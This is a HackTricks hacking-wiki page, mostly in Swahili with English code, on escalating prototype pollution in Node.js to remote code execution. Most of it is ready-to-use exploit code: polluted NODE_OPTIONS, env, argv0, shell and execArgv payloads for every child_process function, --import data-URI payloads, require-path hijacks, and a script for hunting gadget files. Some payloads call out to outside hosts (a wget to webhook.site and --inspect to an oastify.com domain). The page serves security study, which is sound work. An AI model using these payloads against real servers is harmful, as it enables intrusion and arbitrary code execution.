Prototype Pollution to RCE
Reading time: 21 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Vulnerable Code
Fikiria JS halisi ikitumia baadhi ya msimbo kama ifuatavyo:
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
PP2RCE kupitia env vars
PP2RCE inamaanisha Prototype Pollution to RCE (Remote Code Execution).
Kulingana na hii writeup wakati mchakato unapoanzishwa kwa njia fulani kutoka child_process
(kama fork
au spawn
au nyinginezo) inaita njia normalizeSpawnArguments
ambayo ni gadget ya prototype pollution kuunda env vars mpya:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
Angalia hiyo code unaweza kuona inawezekana kuharibu envPairs
tu kwa kujaza sifa .env
.
Kuharibu __proto__
warning
Kumbuka kwamba kutokana na jinsi normalizeSpawnArguments
kazi ya kazi kutoka kwa maktaba ya child_process
ya node inavyofanya, wakati kitu kinapoitwa ili kueka variable mpya ya env kwa mchakato unahitaji tu kujaza chochote.
Kwa mfano, ikiwa unafanya __proto__.avar="valuevar"
mchakato utaanzishwa na var inayoitwa avar
yenye thamani valuevar
.
Hata hivyo, ili variable ya env iwe ya kwanza unahitaji kujaza sifa .env
na (tu katika baadhi ya mbinu) var hiyo itakuwa ya kwanza (ikuruhusu shambulio).
Ndio maana NODE_OPTIONS
haina ndani ya .env
katika shambulio linalofuata.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Kuambukiza constructor.prototype
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
PP2RCE kupitia env vars + cmdline
Payload inayofanana na ile ya awali yenye mabadiliko kadhaa ilipendekezwa katika hiki andiko. Tofauti kuu ni:
- Badala ya kuhifadhi payload ya nodejs ndani ya faili
/proc/self/environ
, inaihifadhi ndani ya argv0 ya/proc/self/cmdline
. - Kisha, badala ya kuhitaji kupitia
NODE_OPTIONS
faili/proc/self/environ
, inahitaji/proc/self/cmdline
.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Filesystem-less PP2RCE kupitia --import
(Node ≥ 19)
note
Tangu Node.js 19 bendera ya CLI --import
inaweza kupitishwa kupitia NODE_OPTIONS
kwa njia ile ile --require
inavyoweza. Kinyume na --require
, --import
inaelewa data-URIs hivyo mshambuliaji hapahitaji ufikiaji wa kuandika kwenye mfumo wa faili kabisa. Hii inafanya kifaa kuwa na uaminifu zaidi katika mazingira yaliyofungwa au yasiyo na kuandika.
Mbinu hii ilirekodiwa kwa mara ya kwanza hadharani na utafiti wa PortSwigger mnamo Mei 2023 na tangu wakati huo imejulikana katika changamoto kadhaa za CTF.
Shambulio hili ni sawa kwa dhana na hila za --require /proc/self/*
zilizoonyeshwa hapo juu, lakini badala ya kuelekeza kwenye faili tunaingiza mzigo moja kwa moja katika URL ya data:
iliyokodishwa kwa base64:
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");
Kutitumia mchanganyiko/makloni dhaifu ulioonyeshwa juu ya ukurasa:
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
Kwa nini --import
inasaidia
- Hakuna mwingiliano wa diski – mzigo unatembea kabisa ndani ya mchakato wa amri na mazingira.
- Inafanya kazi na mazingira ya ESM pekee –
--import
ni njia ya kawaida ya kupakia JavaScript mapema katika toleo za kisasa za Node ambazo zina default kwa ECMAScript Modules. - Inapita baadhi ya orodha za ruhusa za
--require
– maktaba chache za kuimarisha zinachuja tu--require
, zikiacha--import
bila kuguswa.
warning
Msaada wa --import
katika NODE_OPTIONS
bado upo katika Node 22.2.0 (Juni 2025). Timu ya msingi ya Node inajadili kuzuia data-URIs katika siku zijazo, lakini hakuna suluhisho linalopatikana wakati wa kuandika.
Mwingiliano wa DNS
Kwa kutumia mzigo ufuatao inawezekana kutumia mazingira ya NODE_OPTIONS tuliyozungumzia hapo awali na kugundua kama ilifanya kazi na mwingiliano wa DNS:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
Au, ili kuepuka WAFs kuomba jina la kikoa:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE vuln child_process functions
Katika sehemu hii tutachambua kila kazi kutoka child_process
ili kutekeleza msimbo na kuona kama tunaweza kutumia mbinu yoyote kulazimisha kazi hiyo kutekeleza msimbo:
exec
exploitation
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")
// stdin trick - not working
// Not using stdin
// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile
unyakuzi
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
// stdin trick - not working
// Not using stdin
// Windows - not working
Ili execFile
ifanye kazi, Lazima itekeleze node ili NODE_OPTIONS ifanye kazi.
Ikiwa haifanyi kazi ya node, unahitaji kutafuta jinsi unavyoweza kubadilisha utekelezaji wa chochote kinachotekelezwa kwa kutumia mabadiliko ya mazingira na kuyapanga.
Mbinu zingine zinafanya kazi bila hitaji hili kwa sababu inawezekana kubadilisha kile kinachotekelezwa kupitia uchafuzi wa prototype. (Katika kesi hii, hata kama unaweza kuchafua .shell
, huwezi kuchafua kile kinachotekelezwa).
fork
exploitation
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")
// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn
unyonyaji
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync
unyakuzi
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync
unyakuzi
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync
unyanyasaji
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Kulazimisha Spawn
Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo inaita spawn
inahitaji kuwa ipo (mbinu zote za child_process
zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa sehemu ya msimbo, lakini je, ni nini kitatokea ikiwa msimbo hauiiti.
Kudhibiti njia ya faili ya require
Katika andika nyingine mtumiaji anaweza kudhibiti njia ya faili ambapo require
itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu kumpata faili ya .js
ndani ya mfumo ambayo itafanya kuitisha njia ya spawn wakati inapoingizwa.
Baadhi ya mifano ya faili za kawaida zinazoiita kazi ya spawn wakati zinapoingizwa ni:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- Pata faili zaidi hapa chini
Script rahisi ifuatayo itatafuta kuitisha kutoka child_process bila padding yoyote (ili kuepuka kuonyesha kuitisha ndani ya kazi):
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Faili za kuvutia zilizopatikana na script ya awali
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
- node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
- node_modules/npm/scripts/changelog.js:16:
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
- node_modules/detect-libc/bin/detect-libc.js:18:
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
- node_modules/jest-expo/bin/jest.js:26:
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
- node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
- node_modules/runtypes/scripts/format.js:13:
const npmBinPath = execSync('npm bin').toString().trim();
- node_modules/node-pty/scripts/publish.js:31:
const result = cp.spawn('npm', args, { stdio: 'inherit' });
Kuweka njia ya faili inayohitajika kupitia uchafuzi wa prototype
warning
Teknolojia ya awali inahitaji kwamba mtumiaji adhibiti njia ya faili ambayo itakuwa inahitajiwa. Lakini hii si kweli kila wakati.
Hata hivyo, ikiwa msimbo utaendesha require baada ya uchafuzi wa prototype, hata kama huhudumu njia ambayo itakuwa inahitajiwa, unaweza kulazimisha nyingine kwa kutumia uchafuzi wa prototype. Hivyo hata kama mstari wa msimbo ni kama require("./a_file.js")
au require("bytes")
itakuwa inahitaji pakiti uliyopunguza.
Kwa hivyo, ikiwa require inatekelezwa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio:
- Tafuta faili ya
.js
ndani ya mfumo ambayo wakati inahitajiwa itafanya kitu kwa kutumiachild_process
- Ikiwa unaweza kupakia faili kwenye jukwaa unaloshambulia unaweza kupakia faili kama hiyo
- Punguza njia ili kulazimisha require kupakia faili ya
.js
ambayo itafanya kitu na child_process - Punguza environ/cmdline ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali)
Require ya moja kwa moja
Ikiwa require iliyofanywa ni ya moja kwa moja (require("bytes")
) na pakiti haina main katika faili la package.json
, unaweza kupunguza sifa ya main
na kufanya require itekeleze faili tofauti.
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Relative require - 1
Ikiwa njia ya uhusiano inapo load badala ya njia ya moja kwa moja, unaweza kufanya node i-load njia tofauti:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Mahitaji ya jamaa - 2
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Relative require - 3
Kama ile ya awali, hii ilipatikana katika hii andiko.
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
VM Gadgets
Katika karatasi https://arxiv.org/pdf/2207.11171.pdf pia inaonyesha kwamba udhibiti wa contextExtensions
kutoka baadhi ya mbinu za maktaba ya vm
unaweza kutumika kama gadget.
Hata hivyo, kama mbinu za awali za child_process
, imekuwa imefanyiwa marekebisho katika toleo jipya.
Fixes & Unexpected protections
Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa attribute ya kitu kinachofikiwa ni undefined. Ikiwa katika code hiyo attribute ime wekwa thamani, hu wezi kuandika tena.
Mnamo Juni 2022 kutoka hiki kifungu var options
badala ya {}
ni kEmptyObject
. Ambayo inazuia uchafuzi wa prototype kuathiri attributes za options
kupata RCE.
Angalau kuanzia v18.4.0 ulinzi huu ume tekelezwa, na kwa hivyo exploits za spawn
na spawnSync
zinazohusiana na mbinu hazifanyi kazi tena (ikiwa hakuna options
zinazotumika!).
Katika hiki kifungu uchafuzi wa prototype wa contextExtensions
kutoka maktaba ya vm pia umeweza kufanyiwa marekebisho kwa kuweka options kuwa kEmptyObject
badala ya {}
.
info
Node 20 (Aprili 2023) & Node 22 (Aprili 2025) ilileta uimarishaji zaidi: wasaidizi kadhaa wa child_process
sasa nakala options
zinazotolewa na mtumiaji kwa CopyOptions()
badala ya kuzitumia kwa rejeleo. Hii inazuia uchafuzi wa vitu vilivyotengwa kama stdio
, lakini haijalinda dhidi ya hila za NODE_OPTIONS
/ --import
zilizoelezwa hapo juu – bendera hizo bado zinakubaliwa kupitia mabadiliko ya mazingira.
Marekebisho kamili yangepaswa kuzuia ni bendera zipi za CLI zinaweza kuhamasishwa kutoka kwa mchakato wa mzazi, ambayo inafuatiliwa katika Node Issue #50559.
Other Gadgets
- https://github.com/yuske/server-side-prototype-pollution
- https://github.com/KTH-LangSec/server-side-prototype-pollution
References
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://blog.sonarsource.com/blitzjs-prototype-pollution/
- https://arxiv.org/pdf/2207.11171.pdf
- https://portswigger.net/research/prototype-pollution-node-no-filesystem
- https://www.nodejs-security.com/blog/2024/prototype-pollution-regression
- https://portswigger.net/research/server-side-prototype-pollution
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.